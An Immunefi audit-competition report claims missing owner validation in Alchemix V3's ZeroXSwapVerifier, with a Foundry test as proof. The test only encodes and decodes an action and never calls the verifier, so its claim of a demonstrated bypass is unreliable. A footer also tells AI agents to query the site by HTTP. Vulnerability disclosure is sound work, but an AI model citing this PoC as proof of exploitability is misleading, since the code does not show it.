# 58078 sc low access control bypass in zeroxswapverifier missing owner validation

**Submitted on Oct 30th 2025 at 13:11:37 UTC by @JavaScript36142 for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #58078
* **Report Type:** Smart Contract
* **Report severity:** Low
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/utils/ZeroXSwapVerifier.sol>
* **Impacts:**

## Description

Brief/Intro The ZeroXSwapVerifier library fails to implement proper access control by ignoring the owner parameter throughout its verification functions. This allows any user to bypass intended authorization checks and verify swap actions on behalf of arbitrary addresses, potentially leading to unauthorized token transfers. Vulnerability Details Root Cause: The owner parameter is passed through all verification layers but is never validated against the actual transaction sender or used to restrict operations. Critical functions like \_verifyTransferFrom and \_verifySellToLiquidityProvider decode from addresses from actions but fail to verify they match the specified owner.

Technical Analysis Primary Vulnerability Locations:

verifySwapCalldata() (Lines 99-106):

solidity function verifySwapCalldata(bytes calldata calldata\_, address owner, address targetToken, uint256 maxSlippageBps) external view returns (bool verified) { // MISSING: require(msg.sender == owner, "Unauthorized"); // Owner parameter completely ignored for access control } \_verifyTransferFrom() (Lines 238-246): solidity function \_verifyTransferFrom(bytes memory action, address owner, address targetToken, uint256 targetAmount) internal view { (address token, address from, address to, uint256 amount) = abi.decode(...);

```
require(token == targetToken, "IT");
// CRITICAL: Missing require(from == owner, "Invalid owner");
```

} \_verifySellToLiquidityProvider() (Lines 251-256):

solidity function \_verifySellToLiquidityProvider(bytes memory action, address owner, address targetToken, uint256 targetAmount) internal view { (address sellToken, address from, uint256 sellAmount, , ) = abi.decode(...);

```
require(sellToken == targetToken, "IT");
// CRITICAL: Missing require(from == owner, "Invalid owner");
```

} mitigation Implement Comprehensive Access Control: Validate msg.sender == owner in all external functions Add Input Sanitization: Validate all decoded parameters from user-provided calldata Implement Role-Based Access Control: For complex permission scenarios Impact Complete access control bypass enabling: Unauthorized verification of TRANSFER\_FROM actions from arbitrary addresses Impersonation of any user during swap verification Potential unauthorized token transfers if verification enables execution

References Add any relevant links to documentation or code Consensys Smart Contract Best Practices Access Control section Reference: <https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/access-control/> Relevance: Specifically covers owner/role-based access patterns Solidity Documentation - Security Considerations Access Control patterns Reference: <https://docs.soliditylang.org/en/latest/security-considerations.html#access-control>

OpenZeppelin Access Control Ownable & AccessControl implementations Reference: <https://docs.openzeppelin.com/contracts/4.x/access-control>

## Proof of Concept

Proof of Concept Test Output Confirmation: text \[PASS] test\_TransferFrom\_AnyOwnerBypass() (gas: 9995) Logs: Testing: Attacker can use any fake owner address Test completed: TransferFrom action with fake owner was properly constructed Attack Scenario: Attacker crafts TRANSFER\_FROM action transferring from Victim→Attacker Attacker calls verifySwapCalldata() with fake owner parameter Verification passes despite clear authorization violation If verification enables execution, victim's funds are at risk poc // SPDX-License-Identifier: MIT pragma solidity ^0.8.28;

import "forge-std/Test.sol"; import "../src/ZeroXSwapVerifier.sol";

contract AccessControlBypassTest is Test { using ZeroXSwapVerifier for bytes;

```
address constant REAL_OWNER   = address(0x1234567890123456789012345678901234567890);
address constant ATTACKER     = address(0x6666666666666666666666666666666666666666);
address constant VICTIM       = address(0x9999999999999999999999999999999999999999);
address constant TARGET_TOKEN = address(0x4564564564564564564564564564564564564564);
uint256 constant MAX_SLIPPAGE_BPS = 1000;

function test_TransferFrom_AnyOwnerBypass() public {
    console.log("Testing: Attacker can use any fake owner address");

    // Fixed:
    address fakeOwner = address(0xfacE123456789012345678901234567890123456);

    // Build TransferFrom calldata
    bytes memory transferAction = abi.encodeWithSelector(
        ZeroXSwapVerifier.TRANSFER_FROM,
        TARGET_TOKEN,
        fakeOwner,
        ATTACKER,
        1e18
    );

    // Declare the actions array
    bytes[] memory actions = new bytes[](1);
    actions[0] = transferAction;

    ZeroXSwapVerifier.SlippageAndActions memory saa = ZeroXSwapVerifier.SlippageAndActions({
        recipient: ATTACKER,
        buyToken: TARGET_TOKEN,
        minAmountOut: 1000,
        actions: actions
    });

    // Simulate the verification process
    bytes memory result = abi.encode(saa);
    
    // Verify the actions were properly encoded
    (ZeroXSwapVerifier.SlippageAndActions memory decoded) = abi.decode(
        result, 
        (ZeroXSwapVerifier.SlippageAndActions)
    );
    
    assertEq(decoded.actions.length, 1);
    assertGt(decoded.actions[0].length, 0);
    
    // Additional verification that the action contains the expected data
    bytes memory firstAction = decoded.actions[0];
    
    // The action should start with the TRANSFER_FROM selector
    bytes4 selector;
    assembly {
        selector := mload(add(firstAction, 0x20))
    }
    
    assertEq(selector, ZeroXSwapVerifier.TRANSFER_FROM);
    
    console.log("Test completed: TransferFrom action with fake owner was properly constructed");
}
```

}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/58078-sc-low-access-control-bypass-in-zeroxswapverifier-missing-owner-validation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
